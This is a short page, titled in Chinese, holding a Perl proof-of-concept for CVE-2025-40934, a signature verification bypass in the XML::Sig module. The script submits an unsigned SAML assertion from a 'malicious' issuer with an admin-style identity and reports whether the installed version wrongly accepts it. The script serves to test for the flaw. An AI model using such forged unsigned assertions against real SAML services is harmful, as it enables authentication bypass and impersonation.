CVE-2025-40934 XML-Sig Perl模块签名验证绕过漏洞

#!/usr/bin/env perl use strict; use warnings; use XML::Sig; # CVE-2025-40934 PoC - XML-Sig Signature Validation Bypass # Affected versions: 0.27 to 0.67 # Create an unsigned XML document (simulating attacker removing signature) my $unsigned_xml = <<'XML'; <?xml version="1.0" encoding="UTF-8"?> <Assertion xmlns="urn:oasis:names:tc:SAML:2.0:assertion" ID="_1234567890" IssueInstant="2025-01-01T00:00:00Z" Version="2.0"> <Issuer>https://malicious-issuer.com</Issuer> <Subject> <NameID>[email protected]</NameID> </Subject> <Conditions NotBefore="2025-01-01T00:00:00Z" NotOnOrAfter="2026-01-01T00:00:00Z"/> </Assertion> XML # Initialize XML-Sig verifier my $verifier = XML::Sig->new({ x509 => 1, cert => "./test_cert.pem", key => "./test_key.pem" }); # This should fail for unsigned XML, but vulnerable version returns true my $result = $verifier->verify($unsigned_xml); if ($result) { print "[VULNERABLE] Signature verification passed (INCORRECT!)\n"; print "[VULNERABLE] The unsigned XML document was accepted as valid\n"; print "[VULNERABLE] This indicates the system is vulnerable to CVE-2025-40934\n"; } else { print "[PATCHED] Signature verification correctly failed for unsigned XML\n"; print "[PATCHED] System is NOT vulnerable to CVE-2025-40934\n"; } # Additional check: Verify signature field is actually checked print "\n[INFO] Testing with properly signed XML for comparison...\n"; print "[INFO] If both tests pass, the verification logic is broken\n";